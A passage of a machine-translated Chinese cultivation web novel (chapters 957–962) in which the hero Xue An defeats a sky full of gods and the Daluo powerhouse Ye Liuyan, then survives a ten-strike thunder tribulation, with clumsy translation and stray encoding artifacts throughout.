    The sound was not loud, but like a heavy hammer, it shook everyone''s heart.


    Because countless people can hear who is speaking.


    Xue An!


    But what''s going on?


    Isn''t Mr. Xue killed by the gods?


    Even more suspicious than everyone else, there is this sky full of gods.


    These people looked at each other, "What''s the matter?"


    "Isn''t he dead?"


    Gong Wujian suddenly looked up, his complexion instantly becoming extremely ugly.


    "The clone! The just broken is just a clone of him!"


    With the voice.


    Everyone followed and looked up.


    I saw a golden star ship slowly appearing above the sky.


    Then I saw a burst of golden light.


    One figure began to emerge.


    And standing in the forefront, with black eyes and black hair, and a white dress, like a fairy descended from the world, who could it be if it wasn''t Xue An?


    Seeing Xue An smiled faintly, "Yes, it is my clone who just died in your hands!"


    Everyone stood there blankly, and then all showed ecstasy.


    Then Xue An looked around the audience and said lightly: "It was just an appetizer. Now, the show begins!"


    After that, Xue An''s eyes were cold, he raised his palms and patted them down.

 Chapter 957： 1 read into the first

    Boom.


    This palm is simply beyond words.


    It is as if the sky and the earth are overturned, the sun and the moon are reversed.


    The surging power swept across the sky, shocking everyone who saw it.


    The gods and spirits in the sky screamed.


    "Don''t..."


    Then began to flee.


    But in the face of Xue An''s mighty blow, all the struggles were in vain.


    boom!


    After a very dull loud noise.


    Almost all the gods in the sky stood there.


    Then there was a crisp sound like porcelain cracking from the bodies of these gods.


    It was very slight at first, but soon became a ring.


    Just when everyone was surprised.


    I saw that the indestructible bodies of most of the gods began to disintegrate one by one, and then burst one by one.


    This is like a scene of fireworks, which stuns everyone.


    Zou Yi of the Fire Phoenix murmured in a dull expression: "Fuck, the boss is the cow*! This slaughter **** has brought out the beauty!"


    In an instant, the gods who had just occupied a large area of ??the sky lost nine of them. Only Odin, the blood **** Gaia, and several high-level gods managed to hold this palm.


    But even if he didn''t die by chance, his whole body was scarred, and Xue An''s eyes were full of shock.


    Especially Odin.


    The Norse king who cherished his life like gold was scared to death by Xue An''s palm.


    Because he had fought Xue An before.


    Although Xue An was very good at the time, it took some trouble to deal with himself.


    But in just a few months, Xue An''s strength is so much stronger.


    He even slaughtered so many gods and wounded himself with just one palm.


    At this moment, Odin regretted it.


    Regret shouldn''t follow Ye Liuyan to this world.


    And Gong Wujian also watched this scene with a dull expression.


    She did not expect that what she took pains to destroy was only a clone of Xue An.


    And when Xue An''s body arrived, he actually wiped out almost all the Lihentian God Guards with a single palm.


    Is this strength really just from a person who is not even a true immortal?


    At this time, Xue An turned his head, looked at Gong Wujian with a smile, and then reached out to point to the people whose body repair was sealed.


    "Excuse me, are they sealed by you?"


    Gong Wujian felt horrified.


    Why do you ask yourself this question whether it is a clone or a body?


    But soon, she calmed down and said solemnly: "Xue An, your strength is really good! But do you think that just relying on your own strength can stop me from leaving Hengtian?"


    Xue An still smiled, nodded and said: "So, these people are indeed sealed by you!"


    Gong Wujian sneered and said, "So what? I..."


    But before she could finish her words, Xue An''s figure flashed, and he appeared directly in front of Gong Wujian from a great height, and then slapped out a palm when she didn''t react at all.


    Snapped!


    A terrifying and crisp sound resounded throughout the world, and even shook layers of sound waves, shattering the clouds all over the sky.


    Under Xue An''s terrifying palm, Gong Wujian was directly fanned out, and it was only after ten thousand feet that he stood still.


    Then I looked at Gong Wujian, and saw that her cold and glamorous face was smashed in half by the raw fan, and it looked terrifying.


    Many people who slapped this slap were shocked.


    Gong Wujian was stunned for a few seconds before she woke up, and then she let out a loud roar.


    "Xue An, you are dead!"


    As she said, she shook her head, and her broken cheeks instantly recovered as before, and then she continued to connect the seals with anger and madness.


    Various sealing techniques were superimposed crazily, and Gong Wujian''s eyes showed almost crazy light.


    No one has ever dared to beat himself.


    Especially the opponent is still a person whose strength is far inferior to his own.


    This made it even more difficult for Gong Wujian to accept.


    She has only one thought now, that is to completely tear Xue An into pieces.


    But the movement in her hand is not over yet.


    A palm came out from between her chest and abdomen.


    Gong Wujian shuddered and glanced down, with a dazed expression on his face.


    At this time, Xue An said calmly: "A mass-produced Ronaldo, do you really think you are a peerless powerhouse?"


    With that, Xue An suddenly twitched, and at the same time grabbed the palm of Gong Wujian''s chest and abdomen, directly pulling out Gong Wujian''s spine.


    Blood dripping between.


    Gong Wujian vomited blood, limp to the ground.


    For her, such injuries are still not fatal.


    Even give her some time so that her spine can grow back.


    But Gong Wujian''s eyes were full of shock.


    Because Xue An''s words just revealed her strength.


    That''s right.


    She is indeed a big Luo born out of a secret method.


    In terms of strength, she was actually just a true immortal powerhouse, and she was the hopeless kind of Ronaldo in this life.


    However, she was selected because of her expertise in the sealing technique, and then she had the strength she is now.


    But there is no Daluo who understands the law, just a mere cover.


    "You... how could you..." Gong Wujian said with difficulty.


    Xue An threw away the **** spine, and the flame in his hand flashed and it became clean again.


    But he ignored Gong Mujian''s words.


    Instead, he turned his head and looked at Ye Liuyan who had been standing there, and said lightly: "Among this group of people, you are the only one who can truly be regarded as a strong one!"


    "Really, the big Luo strong!"


    The world is silent.


    Then Ye Liuyan smiled.


    The smile is full of playfulness.


    "Xue An, you really surprise me more and more!"


    "Yes, I...I am the real Da Luo powerhouse!"


    With the voice.


    A powerful aura that made the stars tremble rose from Ye Liuyan''s body.


    If it weren''t for the complete laws of the earth today and ample aura, this momentum would be enough to shatter thousands of miles of rivers and mountains.


    Even so.


    The large tracts of land underfoot began to crack and shatter.


    In the end, only the Villa No. 1 Tianzi, protected by the magic circle, remained intact.


    The rest of the land has completely changed its appearance.


    Under this kind of momentum, everyone was disgraced.


    Ye Liuyan said lightly: "Xue An, today, I will show you what is truly invincible!"


    Speaking he took a step slowly.


    After one step, the void vibrated.


    And the **** of the sky, who had just been shaken by Xue An''s palm, began to reshape crazily with this shock.


    In an instant.


    The gods who have just died have returned.


    Even Gong Wujian has recovered as before.


    Then Ye Liuyan proudly said: "Success with one thought, Fang is Daluo! Xue An, what are you fighting against me?"


    Deathly silence between heaven and earth.


    Everyone was shocked by Ye Liuyan''s shocking move.


    Reversing life and death, one thought becomes a world!


    Is this the real strength of the big Luo strong?


    Under such powerful pressure, can Mr. Xue still be an opponent?

 Chapter 958： Supernatural powers reappear, this battle is shocking

    Under this kind of doubt, countless eyes converged on Xue An in the sky.


    Under the attention of all the people, Xue An laughed, laughing wantonly and arrogantly.


    "Luo?"


    "You know, in front of me, the immortal king is no more than an ordinary man, and the immortal emperor is also a mediocre person! What''s more, you are a big Luo!"


    "Bold!" Ye Liuyan was shocked by Xue An''s shocking words, and couldn''t help roaring.


    "How noble is the fairy king, and the immortal emperor is even more of a peerless powerhouse who crushes the heavens. You are just a group of ants, and you dare to speak such a madman, don''t you be afraid that your soul will be destroyed?"


    Xue An''s smile gradually faded, and he looked at Ye Liuyan coldly, "Do you know what I think!"


    "The heavens and the world, I am the only one!"


    "Today, I will teach you how to be a man!"


    After all, Xue An clenched his palms into a fist and volleyed.


    There is nothing fancy about this punch, it is simply like a teenager laughing and playing.


    But just such a punch without any momentum made the world stand still.


    Countless people held their breath and watched this battle concerning the destiny of the entire planet very nervously.


    And see this punch.


    Many physique monks with wicked eyesight stood on the spot.


    "Seeing this punch, I knew that my first half of my life was wasted!" A master of physical training who is good at boxing muttered to himself.


    Because this punch not only blends perfectly with the surrounding world, it also contains a kind of heaven and earth principle, and it is even like an antelope hanging horns.


    This kind of boxing is the real boxing method.


    Because you can''t avoid it at all.


    But facing such a punch, Ye Liuyan showed a sneer.


    "The boxing technique is good, but the strength is too bad!"


    With that said, around Ye Liuyan''s body, the tiny gravels floating in the air suddenly soared, and instantly turned into fist-sized light balls.


    You know, there are so many tiny dust floating in the air.


    So when the body soared to the size of a fist, Ye Liuyan was the center.


    Countless light groups firmly sheltered it.


    Looking coldly, it was as if countless stars appeared in the sky, and Ye Liuyan stood in the center of the star sea.


    At this time, Xue An''s punch had already arrived.


    But this earth-shattering punch lost all its power when facing these fist-sized light groups.


    Because all the shocks were completely absorbed by these light clusters.


    At this time, Ye Liuyan laughed loudly.


    "Xue An, I advise you to save your energy! Each light ball is a small world. Even if you beat me to death, you don''t want to shake my hair!"


    One sand, one world.


    This is the horror of Da Luo''s thoughts.


    Even as long as Ye Liuyan wanted to, he could transform into countless gravel worlds to block all attacks.


    Under this kind of defense, unless your strength is much higher than your opponent, there is nothing you can do.


    Therefore, there is also a saying in the heavens and all realms, which is called Daluo who cannot be killed.


    It is to describe how strong you are when facing this indiscriminate defense.


    Xue An''s face was cold, without sorrow or joy, even when facing Ye Liuyan''s clamor, he didn''t have any expression, just raised his hand and shouted coldly.


    "Lend you Xingzhou for a use!"


    Ye Liuyan was taken aback.


    What do you mean?


    What do you mean by lending me Xingzhou?


    At this moment.


    Seeing Xue An rushing straight into the sky, he instantly came to the bottom of the star boat driven by Ye Liuyan.


    What does he want to do?


    Everyone is wondering.


    Seeing Xue An stretched out his hands, grabbed the tens of thousands of miles-large star boat, and then gave a cold cry.


    "Want to hide and be a turtle? Then I will smash your turtle shell!"


    Talk about it.


    Xue An shook his arms, "Give me...come here!"


    Click!


    Naturally, someone stayed on top of the star boat.


    So when he sensed something was wrong, he wanted to urge the star boat to rise.


    But under Xue An''s tremendous strength, the star boat did not rise but descended, and made a sour squeak.


    Everyone looked at it dumbfounded.


    Even Ye Liuyan looked silly.


    Shake Ten Thousand Miles Starship with your own strength?


    Such a huge force, even those strong people who specialize in physical training in Lihengtian can''t do it!


    At this moment.


    Seeing that the energy gathering array carved on the star boat began to show overwhelming cracks, and then burst open one by one.


    Amidst the loud noise.


    Xue Ansheng dragged down the star boat, and then he picked up the huge star boat and smashed it down as a brick.


    call!


    A gust of wind blew between the sky and the earth.


    All who saw it were shocked.


    Ye Liuyan was also taken aback, and then roared: "Xue An, do you dare to..."


    The voice did not fall.


    The Wanli Xingzhou had already smashed down.


    Click.


    Under the tremendous power of this starship, countless worlds of gravel began to burst one after another.


    In an instant, half of it was destroyed by this blow.


    The smoke dissipated.


    Ye Liuyan stood there with a gray head and face, and shouted angrily: "Xue An, I will tear you up a little bit and make your soul a puppet!"


    In the roar.


    Xue An was not moved at all. He stood high in the sky, raised his hand, and said calmly: "Sword!"


    Give an order.


    The land of Shenzhou is full of light.


    In the mountains, rivers, and lakes, countless rays of light rose into the sky, frantically rushing towards Xue An.


    "This...this is the Dragon Vein and Earth Qi that the Huaxia Mountains and Rivers have gathered for thousands of years!" Song Yi, the Feng Shui master who was also imprisoned for his whole body cultivation, roared in shock.


    For those of them who rely on Feng Shui to enter the Tao, they can naturally see the tremendous power contained in this endless light.


    The rays of light gathered crazily in Xue An''s palm, and in an instant, a huge sword that was more than 10,000 miles long took shape.


    In addition, the sword is shaped like a dragon, motivating the traces of ties in the blood of all Chinese people.


    At this time, Xue An said calmly: "This sword is the first interest I asked for for the Chinese ancestors who died under your butcher knife ten thousand years ago!"


    Talk about it.


    Xue An raised his sword towards the sky and crashed down.


    Wherever it went.


    Mountains and rivers are moving, and four seas are born.


    Ye Liuyan also showed a solemn look on his face.


    But being Ronaldo''s arrogance made him just smile coldly, "playing mystery!"


    At this moment.


    Jianmang cut down.


    Click.


    The gravel world surrounding Ye Liuyan began to burst frantically.


    In an instant, it was almost worn out.


    But the sword''s power had not disappeared, still cutting towards Ye Liuyan.


    But at the moment when the sword light reached the body Ye Liuyan stretched out two fingers, directly clamped the sword, and then sneered: "Even if you condense the entire world into a sword , I am not afraid, not to mention the ninety thousand miles of mountains and rivers!"


    As he said, he twisted his fingers.


    Click.


    With a mournful cry of the 10,000-li long sword, it turned into a splendid light and dispersed.


    Ye Liuyan stood proudly, with a sarcasm on his face, "Xue An, what do you do now?"


    Xue An was silent.


    The world is solemn.


    Then a strong momentum rose from Xue An, Xue An slowly raised his eyes, his eyes bright.


    "cause and effect!"


    Supernatural powers reappear, this battle is shocking!

 Chapter 959： Law confrontation, true celestial calamity

    Give an order.


    A profound and wonderful Dao law descended on the Yeliuyan Palace and the body of the gods.


    Ye Liuyan shook his body, and roared sharply: "Controlling cause and effect, how can you have such great supernatural powers?"


    At this moment, he finally felt a real panic.


    Even if he is the son of Li Heng Tianjun, he has never condensed such magical laws.


    Who is this man?


    Just when he was full of horror.


    Xue An said lightly: "Reverse!"


    Snapped!


    The gods in the sky are like fragile porcelain dolls, directly torn apart by the surging force of cause and effect, and turned into nothingness, leaving no trace of existence.


    Gong Wujian''s figure gradually turned into nothingness, and he shouted in horror: "Master Shaojun, save me!"


    Ye Liuyan''s body, which had been tempered by the Law of Da Luo, showed slight cracks under the scouring of the Avenue of Cause and Effect, but he snorted coldly.


    "Even if you really control the cause and effect, what can you do? Even if you are not a true immortal, you are still like an ant!"


    As he said, he suddenly stomped his foot and snorted, "Strong!"


    boom!


    Seeing him as the center, within a radius of a radius, a cold metal light suddenly appeared in the space, becoming extremely solid.


    Even the law of heaven became as firm as a rock in an instant.


    Gong Wujian felt that the power of causality that had been madly eroding him was cut off, and he couldn''t help taking a breath.


    Then the sky looked up in horror.


    Seeing that the turbulent power of cause and effect is like a wave surging, and Ye Liuyan''s supernatural power is like a rock, unmoving.


    This kind of direct confrontation with the laws of magical powers gradually made the surrounding world unbearable, and cracks began to appear.


    Ye Liuyan laughed loudly, "Xue An, although your control of cause and effect is great, but my strongest law is not vegetarian!"


    With that, Ye Liuyan''s eyes flashed with greed.


    He is bound to win Xue An now.


    To know that Ye Liuyan can condense the immortal law of Zhijian, it is already a fluke, and it succeeded only with the accumulation of thousands of years of Li Hentian.


    But compared with Xue An''s control over causality, this is far too strong.


    Ye Liuyan had only one idea right now, and that was to tell from Xue An how he condensed causal supernatural powers.


    Especially Xue An is not even a true immortal now. This makes Ye Liuyan salivate, thinking that Xue An must be in control of some amazing secret technique.


    At this time, the confrontation between the two magical powers laws has gradually separated.


    Although cause and effect is the first law recognized by the heavens and all realms, after all, Xue An is still only a half-step true immortal, and his cultivation is simply not enough to exert the true strength of this magical power.


    And Ye Liuyan is a peerless strong man who has understood the Law of Da Luo, and he has already condensedly received and received this strong.


    One goes down.


    It turned out that the power of cause and effect was gradually suppressed, and Ye Liuyan''s strongest realm began to gradually expand.


    Seeing this scene, Ye Liuyan smiled coldly, "Xue An, I actually admire you very much. It is really not easy to cultivate this amazing ability in such a wild land! But in the face of absolute strength, everything is false. Give up now, and I will spare you immortality!"


    Everyone''s hearts mentioned their throats.


    Many people looked at the arrogant figure in the sky with complicated eyes.


    They knew that Mr. Xue had done his best.


    Returning across the endless void, and then fighting again and again, in order to save this world.


    He has done well enough.


    But now, everything is over.


    Although Mr. Xue''s cultivation base is shocking, but after all, he is only a half-step true fairy!


    Many people close their eyes in despair.


    But at this moment.


    Xue An, who stood on the sky, smiled faintly, then raised his head and said to the sea star boat: "Yan''er, lend me your pan!"


    This sentence reminded everyone.


    Yes!


    Mr. Xue did not return alone.


    He also brought a lot of helpers!


    But after a closer look at the crowd coming out of the sea star boat, many people couldn''t help feeling discouraged.


    These people are basically golden immortal powerhouses.


    If left before, this force is enough to sweep the world.


    But in front of the big Luo Ye Liuyan, there was nothing.


    And An Yan has been quietly watching Xue An Wars behind.


    Before she knew it, her palms became damp from over-tension.


    So when she heard Xue An''s shout, she couldn''t help being taken aback.


    It wasn''t until a second later that she regained her consciousness and nodded immediately, "Good husband!"


    As she said, she flipped her hand, the pan appeared in her hand, and then threw it down.


    "Husband, go on!"


    With An Yan''s light drink, the pan turned into streamer and went straight to Xue An.


    But the cry of the nine-turned Thunder Zun in the pan echoed in the air.


    "What is this for?"


    Then it controlled Divine Mind to look down, and it couldn''t help hissing in exclamation, "Fuck, Da Luo strong! No, I can''t beat him, I want to go home!"


    Turn Nine Lei Zun was almost crying.


    It might be okay to fool Jinxian with his own strength, but in front of Da Luo, he was not even a fart.


    Maybe people breathe out, and they disappeared.


    So it wanted to run away crying.


    Xue An probed his hand.


    A huge suction sucked the pan back, and then grabbed it directly in his hand.


    "Boss, don''t! I want to live a few more years!" Ninth Turn Lei Zun cried.


    Xue An said indifferently: "Why are you crying! I didn''t want you to die!"


    Ninth turn Lei Zun cried even more sad, and confronted Daluo, what is the difference between this and death?


    And at this moment, Ye Liuyan also saw this scene. She couldn''t help holding her shoulders and said mockingly, "Xue An, what? You can''t beat me? Planning to find a helper? But you think it depends on the one you have Guy, can you shake my hair?"


    Xue An shook his head, "You guessed wrong! I didn''t want to fight you with this!"


    Ye Liuyan sneered and said, "Then you..."


    The voice did not fall.


    Xue An took a deep breath, looked up to the sky, and said lightly: "It''s almost there!"


    almost?


    What''s almost there?


    Not only Ye Liuyan, everyone was confused by Xue An''s actions, and they couldn''t help but look up.


    I saw the sky blue as washing, without the slightest strangeness.


    Everyone couldn''t help showing their doubts.


    What is Mr. Xue going to do?


    At this moment, someone trembled: "Look, what''s that in the sky?"


    When everyone looked for their voices, they saw a black line appeared in the sky from far away, rushing here frantically.


    But in a blink of an eye.


    I saw countless dark clouds filled the sky, making the world that had just been clear and clear into the night.


    The black cloud pressed against the city, the light of thunder was faint.


    It seems that a giant beast is standing outside the sky and roaring in a low voice, preparing to launch a fatal blow.


    The extremely powerful power stopped the air flow.


    Everyone stared blankly.


    Xue An stood before Lei Guang and smiled slightly, "Do you know what I am waiting for now?"


    "I''m here, waiting for Thunder!"


    at the same time.


    Many knowledgeable monks shuddered and roared.


    "It''s Thunder Tribulation!"


    "My God, I have never seen such a violent thunder robbery!"


    "Mr. Xue is going to survive the robbery!"


    And Ye Liuyan''s complexion suddenly became extremely gloomy, then gritted his teeth and said every word.


    "True Immortal Tribulation!"

 Chapter 960： Thunder of Birth and Death

    If Jinxian is a watershed between man and immortal.


    Such a true fairy is the dividing point between ordinary people and strong people.


    Only when you have entered the true immortal, you can truly be called a strong man among the heavens and the world.


    So.


    This true immortal has become a great moat in front of countless monks.


    is not only because of qualifications, but also because of.


    To enter the true immortal, you must first cross the catastrophe.


    This calamity can vary greatly, and it is based solely on your fundamental aptitude and strength.


    But no matter how big or small, this catastrophe is extremely dangerous.


    Throughout the ages, how many amazing people have been tyrannical for a while, but in the end they fell under this true immortal disaster.


    Because of this, countless people talked about this robbery and changed their sorrow.


    And look like this now.


    The scale of this thunder catastrophe is unprecedented.


    This made Ye Liuyan''s expression become uncertain.


    You must know that when he fought the Tribulation of the True Immortal, he relied on the help of his father Li Hen Tianjun to survive.


    And Ye Liuyan knew that even the immortal gods of the Void Great Sect in the depths of the starry sky had to rely on the protection of the elders of their own faction to survive the Tribulation of True Immortals.


    It has been a long time since I heard that anyone can survive this calamity by himself.


    Looking at what Xue An looks like now, it is obvious that he is planning to be alone.


    This caused Ye Liuyan''s mouth to gradually show a sneer.


    is also good.


    Wait for you to fail to cross the catastrophe, and when you are about to die, I will **** a ray of your soul, and then squeeze out the secret of cause and effect.


    This way, it saves me effort.


    at the same time.


    I saw Xue An smile at the Nine-turn Lei Zun in the pan, "I will take you through the catastrophe, are you very moved?"


    Nine-turn Lei Zun was about to frighten pee, and he cried bitterly when he heard that, "Oh, sir, don''t scare me, I''m so scared, I want to go home!"


    As a creature bred from Lei Chi, Nine Ranked Lei Zun can feel the terrible thunder tribulation more than anyone.


    The faintly flickering thunder light in the clouds has the power to destroy the sky and the earth. With its small Thunder Zun, it may be wiped out in a single face.


    Xue An laughed blankly, "What are you afraid of, this is a great opportunity I specially gave you!"


    Nine turns Lei Zun almost cried and passed out.


    "My lord, can I not take this opportunity?"


    "Shhh, don''t talk!"


    Xue An said lightly, looking up to the sky, his eyes filled with eager excitement.


    "let''s start!"


    As he said, Xue An stood up and rushed towards the sky full of thunderclouds.


    "No..." Lei Zun screamed sternly.


    at the same time.


    The sky full of thunderclouds seemed to be irritated by Xue An''s provocation.


    I saw waves of thunder light like snakes and pythons flickering through the clouds, and then suddenly gathered together.


    In an instant, a huge thunder light with a thickness of ten miles was formed, and then crashed down.


    This moment.


    Many people thought it was dawn.


    The splashing thunder light shone the whole world like daylight.


    Everyone looked up dumbfounded.


    I saw Xue An standing on the top of the endless sky, facing this huge thunder light, without the slightest fear. Instead, raising his hand was a punch.


    Boom!


    A loud noise made the whole world silent instantly.


    Then the thunder light was shattered by Xue An''s punch, and Xue An smiled faintly, "Come again!"


    The sky is full of thunderclouds and furious.


    The thunder light that was ten times stronger than the previous one began to gather again, and then a thunder light that was twenty miles long crashed down.


    Xue An still didn''t retreat this time, but moved forward, punching him to pieces again.


    "Not enough, come again!"


    Thirty miles of thunder light.


    Forty miles!


    ����.


    In a blink of an eye.


    The sky full of thunderclouds has already blasted nine thunder tribulations.


    One is bigger than one, and one is more powerful.


    The last blow even dropped a huge thunder light.


    Even Ye Liuyan couldn''t help but change his face with such a formation.


    When he had crossed the Tribulation of the True Immortal, he had fallen seven rays of thunder.


    Only the first five are the only ones who rely on themselves to resist the past.


    The next two lines are all due to his father Li Hentianjun''s action, and it is considered that nothing has happened.


    I didn''t expect Xue An to face the nine thunder tribulations with his own power.


    If this news spreads, the heavens will shake it.


    But Xue An is not without paying the price.


    The power of nine thunder tribulations superimposed on each other, causing shocking cracks to appear on his indestructible body.


    "Husband!" An Yan shouted worriedly.


    Xue An smiled at An Yan in the distance, and then moved his lips.


    An Yan knew that Xue An was saying I was fine.


    Unknowingly, her tears still fell down.


    She felt sorry for Xue An, and she even wished to rush to fight alongside him now.


    But An Yan also understands that there are some things that he can''t do for him.


    Because there are some roads, I can only go by myself.


    At this moment.


    Someone trembled in horror: "Look at that thundercloud!"


    Everyone looked up.


    I saw that nine thunder lights had already descended, and the thinner thunderclouds were gathering together crazily.


    Ye Liuyan was shocked, and a shocking light appeared in his eyes.


    what happened?


    Haven''t nine thunder lights already dropped?


    Why the thundercloud hasn''t dispersed yet?


    Could it be that there will be a tenth one?


    But the heavens and the worlds, I have never heard of anyone who has suffered ten thunder tribulations!


    just when he was full of surprise.


    I saw the sky full of thunderclouds have gathered together, and began to crazily compress.


    A group of extremely condensed and pitch-black clouds began to take shape.


    Even though they are far apart, everyone who witnesses this thundercloud can still feel the power of destroying the earth and the earth contained in it.


    Everyone changed their colors.


    Rank Nine Lei Zun was even more frightened by the violent thunder light in the air. He couldn''t help but wailed: "Sir, let''s run away!"


    "Escape? Why do you want to escape? I''ll wait, it''s this thunder light!"


    As he said, Xue An raised his head. Although he was covered with scars, his eyes were still full of high morale.


    The voice just fell.


    Seen in the thundercloud a colorful thunder light with the thickness of a finger formed unexpectedly, and then went straight down.


    Compared with the thunder light that has just traveled ten miles away, this colorful thunder light looks faint and pitiful.


    But no one dares to take it lightly.


    Because of where the colorful thunder light passes, the space has penetrated a deep gap.


    Seeing this thunder light, Ye Liuyan''s pupils suddenly contracted, and then her voice trembled slightly.


    "Birth and death...This is the thunder of birth and death!"


    Ye Liuyan once heard people say.


    If there is a real Tianzong talent to break through the true immortal, it may trigger the extremely rare thunder tribulation.


    The general strongest thunder tribulation can''t reach nine, but this thunder tribulation has ten.


    And the last one is the Thunder of Birth and Death.

 Chapter 961： Glazed Flame Slasher

    The Lord Lei''s killing was the most brutal.


    The yin is yang and the yang is yin.


    When the thunder light condenses to the extreme, a trace of vitality will sprout from the endless killing.


    This kind of vitality is the most precious, and it can even reshape the soul.


    Ye Liuyan had always thought that this was just a rumor that was false.


    I didn''t expect to see it with my own eyes today.


    can be soon.


    A sneer appeared at the corner of Ye Liuyan''s mouth.


    What about even the thunder of birth and death?


    If you want to gain the vitality that escapes between heaven and earth, you must first withstand the endless killing power ahead.


    That... is the real horrible catastrophe!


    As expected.


    Seeing that the Nine Turns Lei Zun was about to be frightened, he said anxiously: "My lord, run quickly, it will be too late if you don''t run!"


    Xue An, dressed in white clothes, was hunted and hunted by the wind, and smiled lightly, "Lei Zun, are you afraid of pain?"


    "what?"


    hasn''t waited for the Ninth Turn Lei Zun to react.


    Xue An stood up, rushed to the thunder light in a decisive posture, and at the same time said lightly: "It''s useless to be afraid, prepare to bear the next thing!"


    The voice just fell.


    Xue An''s figure has already met this thunder light.


    There is no earth-shaking momentum, or even unnecessary noise.


    can be under this colorful thunder light.


    Xue An''s scarred body was like a fabric made of sand, and it began to disintegrate in large pieces.


    As for that saucepan, when it first touched this thunder light, it turned into nothingness.


    The nine-turn Lei Zun inside ���� screamed and was directly evaporated by the colorful lightning.


    "Husband!" An Yan was shocked when she saw this, and rushed forward desperately.


    At this time, Hu Ying hugged An Yan, "Sister An, don''t go! Brother Xue is rebirth from the catastrophe, this is a great opportunity that others can''t find!"


    "But..." An Yan was still full of anxiety.


    Because at this time Xue An''s figure has gradually faded, and even almost disappeared.


    Fox Ying smiled slightly, "Sister Ann, this Thunder Tribulation may be a death hurdle for others, but to Brother Xue, it is nothing at all! You have to have confidence in him!"


    An Yan was startled when she heard the words, and finally her teeth bit her vermilion lips and stared blankly at the court.


    and Hu Ying is confident.


    Because of the audience, she may be the only one who has seen Xue An''s style when she was a fairy.


    Therefore, Hu Ying believes that Xue An deliberately did this thunder robbery.


    Otherwise, Xue An would never let it take shape.


    At this moment, Xue An''s figure was finally completely submerged by the colorful thunder light, and then he heard an explosion.


    The rays of light tens of thousands times stronger than the sun swept across the sky, and gradually disappeared after raging for a while.


    Everyone looked at the empty sky, their expressions changed drastically.


    "Where is Mr. Xue?"


    "Broken, Mr. Xue was directly evaporated by the thunder!"


    The faces of all the people present were solemn, and the billions of people who watched this scene via satellite broadcast were even more shocked.


    At this moment, Ye Liuyan laughed.


    "Xue An, you really are a wizard of heaven, even Thunder Tribulation is so rare, but you still overestimate yourself, and the result is not a dead end?"


    Although he couldn''t catch a ray of Xue An''s soul, Ye Liuyan still felt very happy, and secretly let out a sigh of relief.


    If you didn''t catch the soul, you didn''t catch it.


    He is completely extinct when he is dead.


    Because Ye Liuyan has been scared by Xue An''s endless methods.


    At this moment, I saw An Yan cry out, "husband!"


    Then his eyes burst into flames, and he went straight to Ye Liuyan with a murderous look.


    At the sight of the beautiful An Yan, Ye Liuyan''s eyes lit up, and then he smiled: "Are you Xue An''s family? Well, since he is dead, then I will reluctantly take over. !"


    "Shameless!" An Yan scolded angrily and rushed to the front, lifting his palm and blasting down.


    Ke An Yan��s current cultivation base is only a half-step Golden Immortal, for Ye Liuyan, this is not even considered an ant.


    So he smiled, "Woman, don''t be so anxious!"


    , as soon as he raised his hand, he grabbed An Yan''s hand slowly and quickly.


    An Yan was taken aback, wanted to dodge, but found in despair that he couldn''t move at all under Ye Liuyan''s aura.


    A touch of decisiveness appeared in An Yan''s eyes.


    Even if you die, you can''t fall into this person''s hands.


    So she smiled desperately, closed her eyes, and prepared to blow herself up.


    can be at this moment.


    There was a faint voice in her ear.


    "Silly Yaner!"


    An Yan was shocked, and suddenly opened his eyes.


    At the same time.


    Ye Liuyan''s palm has already blasted.


    But at this moment, I saw a slender, strong, well-knotted hand slowly protruding out, grabbing the palm of Ye Liuyan in a short period of time, and then snapping.


    There was a crisp sound.


    Ye Liuyan''s palm was directly broken.


    Ye Liuyan was horrified, took two steps back, and looked up.


    I saw someone standing beside An Yan, who was it if it wasn��t Xue An?


    This time, the whole audience was shocked.


    Countless people rejoiced.


    "Mr. is back!"


    "I''ll just say Mr. is all right!"


    "Bah, when did you say it? You just cried the loudest!"


    in these surprise shouts.


    An Yan felt that she couldn''t stop her tears.


    Xue An felt a little distressed and wiped the tears from the corners of her eyes, "Okay, don''t cry! Your husband, I will do everything with confidence, and you will not be allowed to be so impulsive in the future!"


    An Yan cried and beat Xue An on the shoulder, then cried and laughed and said, "Didn''t I worry about you just now? Uuuuuu!"


    This scene of dog abuse has made many women feel resentful.


    But Ye Liuyan recovered his calm at this time, licked his lips, and said grimly: "Xue An, your fate is really big! You can''t even destroy you by the thunder of birth and death! But you really think that this will do. Has anything changed?"


    Xue An looked at him lightly, and suddenly said: "The hand you just used to beat my wife?"


    "Huh?" Ye Liuyan subconsciously took a look at her right hand that had recovered as before Xue An nodded, "Very well, I''ll cut off your right hand first!"


    "Arrogant!" Ye Liuyan laughed furiously, "Well, I''ve been playing with you long enough for this good show, and it should be over! Today, I will let you wait to see what is really big Luo Qiang!"


    As he said, the momentum on Ye Liuyan''s body began to climb wildly, and then a little cinnabar mole appeared between Ye Liuyan''s eyebrows.


    Ye Liuyan smiled and said: "You can let me use this trick, Xue An, you are quite proud!"


    said, he stroked his forehead with his hand, and suddenly pulled it out.


    A deep red long knife exuding a strong ominous smell suddenly appeared in his hand.


    Then Ye Liuyan raised his sword and fell.


    "Liuyan Zhantiandao!"

 Chapter 962： Under cause and effect, all are ordinary people

    A sword glow shining with scarlet flames came from across the sky.


    All the people who witnessed the knife were cold in their hearts, and the pain in their eyebrows was even more tingling.


    It was as if he had already cut himself in half from between his brows just by looking at it.


    "Is this the power of Ronaldo?" someone whispered softly.


    Xue An laughed at this time, and then flipped his hand, and there was a pan surrounded by countless violent thunders in his hand.


    "Nine-turn Lei Zun, this is your first battle to prove that you are the Empress of Lei Bu, don''t lose!"


    Nine turns Lei Zun.


    Oh, it should be called Thor now. Hearing this, there was a moment of silence, and then some hysterical shouts: "My lord, do you want to kill me?"


    At the time of the catastrophe, the reason why Xue An brought this pan is because he knew that the thunder catastrophe was extraordinary this time. If it was wasted, it would be a pity. It happened that this Lei Zun could take this opportunity to break through the rank nine. , Proving the Dao as a god.


    That''s why he took it to cross the robbery.


    But Xue An did not expect that the last Thunder of Birth and Death would be so violent.


    I''m fine.


    But this Nine-turn Lei Zun has suffered a serious crime.


    Because they belonged to the Lei Department, these nine rank Lei Zun were specially taken care of by this thunder tribulation.


    There were hundreds of births and deaths in an instant.


    Each time, it was completely broken up, and then reunited.


    This kind of pain is simply not enough to be humanitarian to outsiders.


    In fact, it was a miracle that Lei Zun of Rank Nine hadn''t gone crazy yet.


    But this has also benefited it a lot, at least directly out of the ninth revolution, proving the way as a god.


    But now listening to Xue An''s words, it seems that he does not intend to let him go.


    This Thor is naturally full of resentment.


    Xue An didn''t listen to his nonsense and raised his hand.


    The pan flew out.


